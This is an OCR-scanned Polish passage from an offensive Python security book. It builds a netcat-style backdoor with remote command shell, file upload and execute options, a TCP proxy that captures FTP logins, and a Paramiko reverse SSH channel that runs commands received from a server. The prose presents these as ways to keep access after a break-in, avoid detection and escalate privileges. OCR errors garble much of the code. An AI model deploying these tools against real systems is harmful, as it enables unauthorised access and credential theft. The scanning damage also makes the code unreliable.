To wszystko! Ten prosty, ale niezwykle przydatny kod rozwiniemy jeszcze
w dalszych cze$ciach tego rozdziatu, w ktérych zbudujemy netcata i proxy TCP

Budowa netcata

Netcat to sieciowy szwajcarski scyzoryk, wiec nie ma co sie dziwié, ze co spryt-
niejsi administratorzy usuwaja go ze swoich systeméw. Nieraz spotkalem sie
jednak z sytuacja, ze w systemie nie bylo netcata, ale byl za to Python. W takim
przypadku wystarczy napisaé¢ prostego klienta sieciowego i serwer, przy uzyciu
ktérych mozna wysyltaé pliki albo skonfigurowa¢ odbiornik (ang. listener) dajacy
dostep do wiersza poleceni. Jesli wlamania dokonano przez aplikacje sieciowa,
to bardzo dobrym pomystem jest dorzucenie funkcji zwrotnej w Pythonie, aby
zapewni¢ sobie druga droge dostepu bez koniecznosci spalenia jednego z troja-
néw lub tylnych wejs$é. Poza tym napisanie takiego narzedzia jest doskonalym
éwiczeniem programowania w Pythonie, wiec warto to zrobié.

import sys
import socket
import getopt
import threading
import subprocess

# definicje kilku zmiennych globalnych
listen = False
command False
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upload = False
execute =

target =
upload_destination =
port =0

Zaimportowalismy wszystkie potrzebne biblioteki i ustawilismy kilka zmien-
nych globalnych. Na razie jeszcze nie zrobilismy nic wielkiego.

Teraz napiszemy funkcje gtéwng do obstugi argumentéw wiersza polecen
i wywolywania pozostatych funkcji.

@ def usage():
print "Narzedzie BHP Net"

print

print "Sposob uzycia: bhpnet.py -t target_host -p port"

print "-1 --Tisten - nastuchuje na [host]:[port] potaczef
>przychodzacych"

print "-e --execute=file_to_run - wykonuje dany plik, gdy odbierze
“>potaczenie"

print "-c --command - inicjuje wiersz polecen"

print "-u --upload=destination - gdy odbierze potaczenie, wysyta plik
i zapisuje go w [destination]"

print

print

print "Przyktady: "

print "bhpnet.py -t 192.168.0.1 -p 5555 -1 -c"

print "bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe"

print "bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\""

print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"

sys.exit(0)

def main():
global Tisten
global port
global execute
global command
global upload_destination
global target

if not len(sys.argv[1:]):
usage()

# odczyt opcji wiersza polecen
(2] try:
opts, args = getopt.getopt(sys.argv[l:],"hle:t:p:cu:",
["help","Tisten","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)

usage()
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for 0,a in opts:

if o in ("-h","--help"):
usage()

elif o in ("-1","--Tisten"):
listen = True

elif o in ("-e", "--execute"):
execute = a

elif o in ("-c", "--commandshell"):
command = True

elif o in ("-u", "--upload"):
upload_destination = a

elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Nieobstugiwana opcja"

# Bedziemy nastuchiwac czy tylko wysylac dane ze stdin?
if not listen and len(target) and port > 0:

# Wezytuje bufor z wiersza polecen
# To powoduje blokade, wigc wyslij CTRL-D, gdy nie wysylasz danych do stdin
buffer = sys.stdin.read()

# Wysyla dane
client_sender(buffer)

# Bedziemy nastuchiwac i ewentualnie cos wysylad, wykonywaé polecenia oraz wlgczac
# powloke w zaleznosci od opcji wiersza polecen
if listen:

server_loop()

main()

Najpierw wezytujemy wszystkie opcje wiersza polecen @ i ustawiamy war-
tosci zmiennych na podstawie wykrytych opcji. Jesli ktérys z parametréw wiersza
poleceni nie spetnia naszych kryteriéw, drukujemy instrukcje obstugi @. W na-
stepnym bloku kodu © prébujemy nasladowaé funkeje netcata dotyczace od-
czytywania danych ze standardowego strumienia wej$ciowego i przesylania ich
przez sieé. Jak napisalem w komentarzu, jezeli zamierzamy wysyta¢ dane inte-
raktywnie, musimy nacisna¢ klawisze Cirl+D, aby obejsé odczyt ze standardo-
wego strumienia wejsciowego. W ostatniej cze$ci kodu @ wykrywamy, ze mamy
utworzy¢ gniazdo nastuchujace i przetwarzaé dalsze polecenia (wystanie pliku,
wykonanie polecenia, uruchomienie wiersza polecen).

Teraz przejdziemy do implementowania niektérych z tych funkcji, a za-
czniemy od klienta. Dodaj ponizszy kod do powyzszej funkcji main.
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def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
# polqgczenie si¢ z docelowym hostem
client.connect((target,port))

(1] if len(buffer):
client.send(buffer)
while True:

# czekanie na zwrot danych
recv_len = 1
response = ""

(2] while recv_len:

data = client.recv(4096)
recv_len = len(data)
response+= data

if recv_len < 4096:
break

print response,

# czekanie na wigcej danych
(3] buffer = raw_input("")
buffer += "\n"

# wystanie danych
client.send(buffer)

except:
print "[*] Wyjatek! Zamykanie."

# zamknigcie polgczenia
client.close()

Wiekszo$é tego kodu powinna juz wyglada¢ znajomo. Najpierw tworzymy
obiekt gniazda TCP i sprawdzamy @, czy otrzymali§my jakie$ dane w standardo-
wym strumieniu wejsciowym. Jesli wszystko jest w porzadku, przesylamy dane
do komputera docelowego i pobieramy dane w odpowiedzi @, az sie wyczerpia.
Nastepnie czekamy na dalsze dane od uzytkownika © i kontynuujemy wysylanie
i odbieranie danych, az uzytkownik wylaczy skrypt. Dodatkowe zlamanie wiersza
zostalo dodane do danych wejsciowych od uzytkownika, aby nasz klient byt zgodny
z naszym wierszem polecen. Teraz utworzymy gléwng petle serwera i funkcje zastep-
czg do obstugi zar6wno naszych polecer, jak i naszego kompletnego wiersza polecen.
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def server_loop():
global target

# Jesli nie zdefiniowano celu, nastuchujemy na wszystkich interfejsach
if not len(target):
target = "0.0.0.0"

server = socket.socket(socket.AF_INET, socket.SOCK STREAM)
server.bind((target,port))
server.listen(5)

while True:
client_socket, addr = server.accept()

# waqtek do obstugi naszego nowego klienta

client_thread = threading.Thread(target=c11'ent_hand1er,
“>args=(client_socket,))

client_thread.start()

def run_command(command) :

# odcigcie znaku nowego wiersza
command = command.rstrip()

# wykonanie polecenia i odebranie wyniku

try:
output = subprocess.check output(command,stderr=subprocess.
>STDOUT, shell=True)

except:
output = "Nie udato sie wykonac polecenia.\r\n"

# wyslanie wyniku do klienta
return output

Jestes juz starym wyjadaczem, jesli chodzi o tworzenie serweréw TCP z ob-
stuga watkéw, wiece nie opisuje po raz kolejny funkeji server_Toop. Natomiast
w funkcji run_command wykorzystana zostata nowa biblioteka o nazwie subprocess
— nie bylo jeszcze o niej mowy. Biblioteka ta dostarcza interfejs do tworzenia
interfejséw, przy uzyciu ktérego mozna na rézne sposoby uruchamiaé programy
klienckie. W tym przypadku @ po prostu wykonujemy w lokalnym systemie
operacyjnym kazde przekazane polecenie, a wynik zwracamy do podtaczonego
klienta. Kod obstugujacy wyjatki przechwytuje ogélne bledy i zwraca wiadomosé
informujaca, ze nie udalo sie wykona¢ polecenia.

Teraz zaimplementujemy mechanizm wysylania plikéw i wykonywania pole-
cen oraz naszg konsole.

def client_handler(client_socket):
global upload
global execute
global command
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# sprawdzenie, czy cos jest wysylane
if Ten(upload destination):

# wczytanie wszystkich bajtéw i zapis ich w miejscu docelowym
file_buffer = "*

# wezytywanie danych do korica
while True:
data = client_socket.recv(1024)

if not data:
break
else:
file_buffer += data

# proba zapisania wezytanych bajtéw

try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# potwierdzenie zapisania pliku
client_socket.send("Zapisano plik
>w %s\r\n" % upload_destination)

except:

client_socket.send("Nie udato sie zapisac pliku
>w %s\r\n" % upload_destination)

# sprawdzenie, czy wykonano polecenie
if len(execute):

# wykonanie polecenia
output = run_command(execute)

client_socket.send(output)

# Jesli zazqdano wiersza polecen, przechodzimy do innej petli
if command:

while True:
# wyswietlenie prostego wiersza polecert
client_socket.send("<BHP:#> ")

# Pobieramy tekst do napotkania znaku nowego wiersza
# (nacisnigcie klawisza Enter)

cmd_buffer = "*

while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)

# odestanie wyniku polecenia
response = run_command (cmd_buffer)

# odeslanie odpowiedzi
client_socket.send(response)



W pierwszej czesci kodu @ sprawdzamy, czy nasze narzedzie zostalo usta-
wione na odbiér pliku po nawigzaniu potaczenia. Moze to by¢ przydatne do wy-
konywania ¢wiczef z wysylania i wykonywania programéw albo do instalowania
zlo§liwych programéw do usuniecia naszego wywolania zwrotnego. Najpierw
pobieramy dane plikowe. Uzywamy do tego petli @, aby niczego nie pomina¢.
Nastepnie otwieramy uchwyt do pliku i zapisujemy tresé pliku. Znacznik wb
wlacza tryb binarny zapisu pliku, co umozliwia wystanie binarnego pliku wyko-
nywalnego i jego uruchomienie. Dalej znajduje sie implementacja funkcjonalno-
$ci wykonawezej ©, ktéra wywoluje wezesniej napisang funkcje run_command i prze-
syla wynik przez sieé. Ostatni fragment kodu obstuguje nasz wiersz polecen @.
Wykonuje przesylane polecenia oraz przekazuje z powrotem wyniki. Szuka tez
znaku nowego wiersza, ktory jest dla niego sygnatem koiica polecenia. Dzieki temu
nasz mechanizm jest przyjazny dla netcata. Ale jesli upichcisz klienta w Pythonie
do komunikacji z nim, to ten znak nowego wiersza jest niezbedny.

Czy to w ogdle dziata

Pobawimy sie troche naszym programem. W jednym oknie konsoli lub programu
cmd.exe uruchom skrypt w nastepujacy sposéb:

justin$ ./bhnet.py -1 -p 9999 -c

Teraz uruchom nowg konsole lub nowe okno programu cmd.exe i uruchom
skrypt w trybie klienta. Pamietaj, ze skrypt ten wezytuje dane ze standardowego
strumienia wejSciowego az do napotkania znaku korica pliku. Aby wysta¢ ten
znak, nalezy nacisna¢ klawisze CTRL+D:

justin$ ./bhnet.py -t localhost -p 9999

<CTRL-D>

<BHP:#> 1s -la

total 32

drwxr-xr-x 4 justin staff 136 18 Dec 19:45 .
drwxr-xr-x 4 justin staff 136 9 Dec 18:09 ..
-rwxrwxrwt 1 justin staff 8498 19 Dec 06:38 bhnet.py
-rw-r--r-- 1 justin staff 844 10 Dec 09:34 Tisting-1-3.py
<BHP:#> pwd

/Users/justin/svn/BHP/code/Chapter2

<BHP: #>

Jak widaé, zostata wlaczona nasza konsola, a poniewaz pracujemy w systemie
uniksowym, mozemy wykonywaé polecenia lokalne i odbiera¢ wyniki tak, jak-
by$my byli zalogowani przez SSH lub mieli dostep do samego komputera. Przy
uzyciu naszego klienta mozemy tez wysyla¢ zadania w stary dobry sposéb:
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justin$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" |
>./bhnet.py -t www.google.com -p 80

HTTP/1.1 302 Found

Location: http://www.google.ca/

Cache-Control: private

Content-Type: text/html; charset=UTF-8

P3P: CP="This is not a P3P policy! See http://www.google.com/support/
“-accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Wed, 19 Dec 2012 13:22:55 GMT

Server: gws

Content-Length: 218

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>

<H1>302 Moved</H1>

Dokument zosta? przeniesiony

<A HREF="http://www.google.ca/">tutaj</A>.

</BODY></HTML>

[*] Wyjatek! Zamykanie.

justin$

Gotowe! Moze nie jest to najwyzszych lotéw programowanie, ale wiesz juz,
jak stworzy¢ prostego klienta i serwer w Pythonie, a nastepnie wykorzysta¢ je
do zlych celéw. Oczywiscie to tylko podstawy. Jesli cheesz rozszerzy¢ ten przy-
ktad o dodatkowe funkcje, uzyj wyobrazni. Teraz zbudujemy proxy TCPE, ktéry
jest potrzebny w wielu ré6znych rodzajach atakéw.

Tworzenie proxy TCP

38

Proxy TCP warto mieé¢ pod reka z wielu powodéw. Przy jego uzyciu mozna
przekazywaé ruch od hosta do hosta, ale przydaje sie réwniez przy ocenianiu
jakosci oprogramowania sieciowego. Podczas wykonywania testow penetracyj-
nych w §rodowiskach firmowych niejednokrotnie zdarzy Ci sie, ze nie bedziesz
mo6gl uruchomié Wiresharka, nie bedziesz mégl zaladowaé sterownikéw, aby
analizowaé sprzezenie zwrotne w Windowsie, albo segmentacja sieci uniemoz-
liwi Ci uruchomienie narzedzi bezposrednio na hoscie docelowym. Niejedno-
krotnie wykorzystywalem proste proxy w Pythonie do rozgryzania nieznanych
protokotéw, modyfikowania ruchu wysytanego do aplikacji i tworzenia przypad-
kéw testowych dla fuzzeréw. Teraz pokaze Ci, jak napisa¢ taki program.

import sys

import socket

import threading

def server_loop(local_host,local_port,remote_host,remote port,receive first):

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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try:

except:

server.bind((1ocal_host,local_port))

print "[!!] Nieudana préba nastuchu na porcie %s:%d" %
>(local_host,local_port)

print "[!!] Poszukaj innego gniazda Tub zdobadZ odpowiednie
>uprawnienia."

sys.exit(0)

print "[*] Nastuchiwanie na porcie %s:%d" % (local_host,local port)

server.listen(5)

while True:
client_socket, addr = server.accept()

# wydruk informacji o polgczeniu lokalnym

print "[==>] Otrzymano potaczenie przychodzace od %s:%d"

> (addr[0] ,addr[1])

# uruchomienie wqtku do wspdtpracy ze zdalnym hostem

>
%

proxy thread = threading.Thread(target=proxy handler, args

>=(client_socket,remote_host,remote port,receive first))

proxy_thread.start()
def main():

# zadnego dziwnego przetwarzania wiersza poleceri
if len(sys.argv[1:]) != 5:

print "Sposob uzycia: ./proxy.py [localhost] [localport]

> [remotehost] [remoteport] [receive first]"

print "Przyktad: ./proxy.py 127.0.0.1 9000 10.12.132.1

S 9000 True"
sys.exit(0)

# konfiguracja lokalnych parametréw nastuchu
Tocal_host = sys.argv[1]
Tocal_port = int(sys.argv[2])

# ustawienie zdalnego celu
remote_host = sys.argv[3]
remote port = int(sys.argv[4])

# nakazujemy proxy nawigzanie polgczenia i odebranie danych
# przed wystaniem danych do zdalnego hosta
receive first = sys.argv[5]

if "True" in receive_first:
receive_first = True
else:
receive_first = False

# wlgczamy gniazdo do nastuchu

server_loop(Tocal _host,local port,remote host,remote port,

>receive_first)
main()
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Wiekszo$é tego kodu powinna wygladaé juz znajomo. Pobieramy kilka ar-
gumentéw z wiersza polecen, a nastepnie uruchamiamy petle serwera nastu-
chujgca polaczen. Gdy pojawia sie nowe polaczenie, przekazujemy je do funkeji
proxy handler, ktéra obsluguje przesylanie i odbieranie danych w obie strony
strumienia danych.

Teraz przyjrzymy sie dokladniej funkcji proxy handler. Dodaj ponizszy kod
nad funkcjg main.

def proxy handler(client socket, remote host, remote port, receive first):

# polqczenie ze zdalnym hostem

remote_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)

remote_socket.connect((remote_host,remote port))

# odebranie danych od zdalnego hosta w razie potrzeby

o if receive first:
(2] remote_buffer = receive from(remote socket)
(3] hexdump (remote_buffer)

# wyslanie danych do procedury obstugi odpowiedzi
o remote buffer = response handler(remote buffer)

# Jesli mamy dane do wystania do klienta lokalnego, to je wysytamy
if Ten(remote buffer):
print "[<==] Wysytanie %d bajtow do Tocalhost." %
>len(remote_buffer)
client_socket.send(remote buffer)
# Uruchamiamy petle, w ktorej odczytujemy dane z hosta lokalnego,
# wysylamy dane do hosta zdalnego, wysylamy dane do hosta lokalnego
# Wszystko powtarzamy
while True:

# odczyt z lokalnego hosta
Tocal_buffer = receive_from(client_socket)

if len(local_buffer):

print "[==>] Odebrano %d bajtéw od Tocalhost." % Tlen(local_buffer)
hexdump (Tocal_buffer)

# wyslanie danych do procedury obstugi zqdar
Tocal_buffer = request_handler(Tocal_buffer)

# przestanie danych do zdalnego hosta
remote_socket.send(Tocal_buffer)
print "[==>] Wystano do zdalnego hosta."

# odebranie odpowiedzi
remote_buffer = receive from(remote socket)
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if len(remote buffer):

print "[<==] Odebrano %d bajtow od zdalnego hosta.
<% len(remote_buffer)
hexdump (remote buffer)

# wystanie danych do procedury obstugi odpowiedzi
remote_buffer = response_handler(remote buffer)

# wystanie odpowiedzi do lokalnego gniazda
client_socket.send(remote_buffer)

print "[<==] Wystano do Tocalhost."

# Jesli nie ma wigcej danych po Zadnej ze stron, zamykamy polgczenia
if not len(Tocal buffer) or not len(remote buffer): @
client_socket.close()
remote_socket.close()
print "[*] Nie ma wiecej danych. Zamykanie potaczef."

break

W tej funkeji znajduje sie wiekszosé kodu naszego proxy. Najpierw, przed
przejsciem do petli gléwnej @, sprawdzamy, czy nie trzeba zainicjowaé¢ pola-
czenia ze zdalnym hostem i zazada¢ danych. Niektére demony serwerowe ocze-
kuja, ze zrobimy to na samym poczatku (np. wiekszo$¢ serweréw FTP wysyta
najpierw baner). Nast¢pnie uzywamy funkcji receive_from @, z ktérej korzy-
stamy po obu stronach komunikacji. Funkcja ta pobiera obiekt potaczonego
gniazda i odbiera dane. Nastepnie zrzucamy zawarto$¢ © pakietu, aby méc
sprawdzié, czy zawiera co§ ciekawego. PéZniej przekazujemy wynik do naszej
funkeji response_handler @. W funkcji tej mozemy zmodyfikowaé tresé pakietu,
poszpera¢ w nim, poszukaé¢ elementéw dotyczacych uwierzytelniania lub zrobi¢
cokolwiek, co nam przyjdzie do glowy. Mamy tez funkcje request_handler, kto-
ra stuzy do tego samego w odniesieniu do ruchu wychodzacego. Ostatnia czyn-
noscia jest wyslanie otrzymanego bufora do naszego lokalnego klienta. Pozostata
czesé kodu jest juz bardzo prosta — wezytujemy dane z hosta lokalnego, prze-
twarzamy je, wysylamy wynik do hosta zdalnego, odczytujemy dane z hosta
zdalnego, przetwarzamy je i wysylany do hosta lokalnego i robimy tak, az skon-
cza sie dane ©.

Dopiszemy pozostale funkcje, aby dokonczyé prace.

# Jest to elegancka funkcja do robienia zrzutéw szesnastkowych wydobyta wprost
# z komentarzy na tej stronie:
# http://code.activestate.com/recipes/142812-hex-dumper/
O def hexdump(src, Tength=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
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s = src[i:i+length]

hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])

text = b''.join([x if 0x20 <= ord(x) < Ox7F else b'."' for x in s])
result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text) )

print b'\n'.join(result)

® def receive from(connection):
buffer = ""

# Ustawiamy 2-sekundowy limit czasu; w niektorych przypadkach moze byc¢ konieczna
# zmiana tej wartosci
connection.settimeout (2)

try:
# Wezytujemy dane do bufora, az wezytamy wszystkie
# albo skoniczy sig nam czas
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass

return buffer

# Modyfikujemy zgdania przeznaczone dla zdalnego hosta
© def request_handler(buffer):
# Modyfikujemy pakiety
return buffer

# Modyfikujemy odpowiedzi przeznaczone dla lokalnego hosta
O def response_handler(buffer):
# Modyfikujemy pakiety
return buffer

To ostatni fragment kodu naszego proxy. Najpierw utworzylismy funkcje do
wykonywania zrzutu szesnastkowego @, ktéra zwraca dane pakietu w postaci
warto$ci szesnastkowych i drukowalnych znakéw ASCII. Przydaje sie to, gdy
trzeba rozgryzé nieznany protokol, znalez¢ dane poswiadczajace uzytkownika
w tekscie i w wielu innych sytuacjach. Funkcja receive_from @ stuzy do pobie-
rania zaréwno lokalnych, jak i zdalnych danych i przekazujemy jej obiekt gniazda.
UstawiliSmy domysIny limit czasu na dwie sekundy, co moze by¢ duzym ograni-
czeniem, jesli dane wysylane by byly do innych krajéw lub przez niestabilng
sie¢ (w razie potrzeby zwieksz te wartos$¢). Pozostala cze$¢ funkceji stuzy tylko do
obstugi odbieranych danych naplywajacych z drugiego konca polaczenia. Dwie
ostatnie funkcje ® @ stuzg do zmieniania ruchu przeznaczonego dla obu
uczestnikéw komunikacji. Przy ich uzyciu mozna na przyktad wykry¢ dane
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poswiadczajace tozsamo$é uzytkownika przesytane w postaci zwyklego tekstu
i zwiekszy¢ swoje uprawnienia w aplikacji przez przekazanie nazwy uzytkownika
admin zamiast justin. Teraz mozemy wybrac¢ sie na przejazdzke testows naszym
serwerem proxy.

Czy to w ogdle dziata

Mamy podstawowa petle naszego proxy i wszystkie potrzebne funkcje pomocni-
cze, wiec mozemy przetestowaé nasz program na jakims serwerze FTP. Uruchom
skrypt przy uzyciu nastepujacych opcji:

justin$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 True

Polecenie sudo zostato uzyte dlatego, ze port 21 jest uprzywilejowany i do
nastuchiwania na nim trzeba mieé uprawnienia administracyjne lub uzytkownika
root. Teraz uruchom swojego ulubionego klienta FTP i ustaw go na Tocalhost
i port 21. OczywisScie musisz ustawi¢ swojego proxy na serwer FTP, ktory rze-
czywiscie bedzie odpowiadal. Gdy uruchomilem nasz program na testowym
serwerze FTP otrzymalem nastepujacy wynik:

[*] Nastuchiwanie na porcie 127.0.0.1:21

[==>] Odebrano potaczenie przychodzace z 127.0.0.1:59218

0000 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Server (Debia
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 n) [::ffff:22.22
0030 2E 31 36 38 2E 39 33 5D 0D 0OA .22.22]..

[<==] Sending 58 bytes to localhost.

[==>] Received 12 bytes from localhost.

0000 55 53 45 52 20 74 65 73 74 79 0D OA USER testy..
[==>] Wystano do zdalnego hosta.

[<==] Odebrano 33 bajtow od zdalnego hosta.

0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D uired for testy.
0020 O0A .

[<==] Wystano do localhost.

[==>] Odebrano 13 bajtéw od localhost.

0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A PASS tester..
[==>] Wystano do zdalnego hosta.

[*] Nie ma wiecej danych. Zamykanie potaczen.

Jak widaé, udato sie odebraé¢ baner FTP i wystaé nazwe uzytkownika i hasto,
a gdy przekazemy niepoprawne dane po$wiadczajace tozsamo$é i serwer nas
wykopie, skrypt wychodzi z polgczenia.
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Postugiwanie sie BHNET jest bardzo wygodne, ale czasami lepiej zaszyfrowaé
przesylane dane, aby nie da¢ sie wykryé. Jednym z typowych sposobéw na to
jest tunelowanie ruchu przy uzyciu SSH. Ale co, jesli host docelowy nie ma
klienta SSH (jak 99,81943 procent systeméw Windows)?

Cho¢ istniejg $wietne klienty SSH takze dla Windowsa, np. Putty, to jest
ksigzka o Pythonie, a w jezyku tym przy uzyciu surowych gniazd i odrobiny
kryptomagii mozna stworzy¢ wlasnego klienta lub serwer SSH. Tylko po co pisa¢
to samodzielnie, skoro mozna uzyé gotowego rozwigzania? Jest nim Paramiko,
program wykorzystujacy rozszerzenie PyCrypto i dajacy dostep do protokolu SSH2.

Aby pozna¢ sposéb dzialania tej biblioteki, uzyjemy Paramiko do nawigzania
polaczenia i wykonania polecenia w systemie z SSH, skonfigurujemy serwer i klienta
SSH do zdalnego wykonywania polecen w systemie Windows i na koniec wyko-
rzystamy dolaczony do Paramiko plik demonstrujacy tunel odwrotny w celu imi-
towania opcji proxy BHNET. Zaczynamy.

Najpierw zainstaluj Paramiko za pomocg instalatora pip (albo pobierz pro-
gram ze strony www.paramiko.org/).

pip install paramiko

Pézniej bedziemy potrzebowaé takze niektérych plikéw demonstracyjnych,
wiec je tez pobierz z podanej strony internetowe;j.

Utworz nowy plik o nazwie bh_sshemd.py i wprowadz do niego ponizszy kod
zrédlowy:

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load_host_keys(/homeljustin/.ssh/known_hosts')
client.set missing_host_key policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
return

ssh_command('192.168.100.131"', 'justin', 'lovesthepython','id')

Jest to bardzo prosty program. Tworzymy funkcje o nazwie ssh_command @,
ktéra nawiazuje polaczenie z serwerem SSH i wykonuje jedno polecenie. Zwréé
uwage, ze Paramiko obstuguje uwierzytelnianie przy uzyciu kluczy @ zamiast
(albo oprécz) uwierzytelniania hastem. W rzeczywistej pracy zdecydowanie lepiej
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jest korzystaé¢ z uwierzytelniania przy uzyciu klucza SSH, ale dla uproszczenia
w tym przykladzie stosujemy tradycyjna metode z uzyciem nazwy uzytkownika
i hasta.

Jako ze mamy kontrole nad obiema stronami polaczenia, ustawiamy zasade
akceptowania klucza SSH dla serwera SSH, z ktérym sie taczymy ©, i nawig-
zujemy polaczenie. Na koniec sprawdzamy, czy polaczenie jest aktywne, i jesli
tak, wykonujemy polecenie przekazane w wywolaniu funkcji ssh_command @.

Sprawdzmy, czy to dziala, laczac sie z naszym serwerem Linux:

C:\tmp> python bh_sshcmd.py
Uid=1000(justin) gid=1001(justin) groups=1001(justin)

Skrypt nawiaze polaczenie i wykona polecenie. W razie potrzeby tatwo mozna
go zmienié¢ tak, aby wykonywatl wiele polecefi na serwerze SSH albo aby wyko-
nywal polecenia na wielu serwerach SSH.

Majac podstawowa infrastrukture, mozemy zmodyfikowa¢ skrypt tak, aby méc
wykonywa¢ polecenia przez SSH na kliencie Windows. Oczywiscie normalnie do
taczenia sie z serwerem SSH uzywa sie klienta SSH, ale poniewaz system Windows
standardowo nie zawiera takiego serwera, musimy odwrécié ten proces i wysylaé
polecenia od naszego serwera SSH do klienta SSH.

Utw6rz nowy plik o nazwie bh_sshRemd.py i wprowadz do niego ponizszy kod*:

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
client = paramiko.SSHCTient()
#client.load_host_keys(/home/justin/.ssh/known_hosts')
client.set missing_host _key policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)#Odczytuje baner
while True:
command = ssh_session.recv(1024) # Odbiera polecenie od serwera SSH
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')

% Wiecej informacii na ten temat znajduje sie w pracy Hussama Khraisa, ktéra mozna znalezé w serwisie
http://resources.infosecinstitute.com/.
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Pierwszych kilka wierszy jest takich samych jak w poprzednim programie.
Nowy kod zaczyna sie od petli while True:. Zwréé¢ uwage, ze pierwsze wysylane
przez nas polecenie to ClientConnected. Zrozumiesz, dlaczego tak robimy, gdy
zaimplementujemy druga strone polaczenia SSH.

Teraz utworz kolejny plik o nazwie bh_sshserver.py i wprowadz do niego
ponizszy kod:

import socket

import paramiko

import threading

import sys

# using the key from the Paramiko demo files
host_key = paramiko.RSAKey(filename='test rsa.key')

class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko. OPEN_FAI LED_ADMINISTRATIVELY_PROH IBITED
def check auth_password(self, username, password):
if (username == 'justin') and (password == 'Tovesthepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK _STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Nastuchiwanie potaczefi...'
client, addr = sock.accept()
except Exception, e:
print '[-] Nastuch sie nie udat: ' + str(e)
sys.exit(1)
print '[+] Jest potaczenie!'

try:
bhSession = paramiko.Transport(client)
bhSession.add server key(host key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] Negocjacja SSH nie powiodta sie.'
chan = bhSession.accept(20)
print '[+] Uwierzytelniono!"'
print chan.recv(1024)
chan.send('Witaj w bh_ssh')
while True:
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try:
command= raw_input("WprowadZ polecenie: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Przechwycono wyjatek: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)

Program ten tworzy serwer SSH, z ktérym taczy sie nasz klient SSH (w ktérym
chcemy wykonywaé polecenia). Moze to byé system Linux, Windows, a nawet
OS X z zainstalowanymi Pythonem i Paramiko.

W tym przykladzie uzywamy klucza SSH podanego w plikach demonstra-
cyjnych Paramiko @. Uruchamiamy odbiornik gniazdowy @, tak jak we wcze-
$niejszych przykladach, a nastepnie dostosowujemy go do SSH @ i konfigu-
rujemy metody uwierzytelniania @. Po uwierzytelnieniu klienta @ i wystaniu
wiadomosci ClientConnected @ wszystkie polecenia wpisywane do bh_sshserver
sg przesylane do bh_sshclient i tam wykonywane. Natomiast wyniki sg zwracane
do bh_sshserver. Zobaczmy, czy to naprawde dziata.

Czy to w ogdle dziata
Na prébe uruchomie zaréwno serwer, jak i klienta w moim Windowsie (rysunek 2.1).

c Command Prompt - bh_sshs

G:stnprbh_sshserv.py 192.168.180.138 22 o istmprhh_;
[+] Listening for connection .. WYelcone to
[+] Got a connection?

[+] Authenticated? @

iGlientConnected

Enter command: dir *o

Uolume in drive C has no label

Volume Serial Number is BBSE-5BA4

Directory of Cistmp @

09 /162014 @3 FM <DIR>

09 /16./2014 @3 PM

68 /30,2814 A3 AN

608 /1420814 29 AN l)ﬂlal‘llktl—lllﬂutﬂl‘
8 File{s>» tes
4 Dirds)> 961,427, ZEE hyte., free

Enter command:

Rysunek 2.1. Wykonywanie polecen przy uzyciu SSH
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Jak wida¢, proces zaczyna od przygotowania serwera SSH @ i nawigzania
polaczenia z klientem @. Gdy polgczenie zostanie nawigzane ©, wykonujemy
polecenie @. W kliencie SSH nic nie widzimy, ale wyslane przez nas polecenie zo-
staje wykonane na kliencie @, a wynik zostaje wystany do naszego serwera SSH @.

Tunelowanie SSH

48

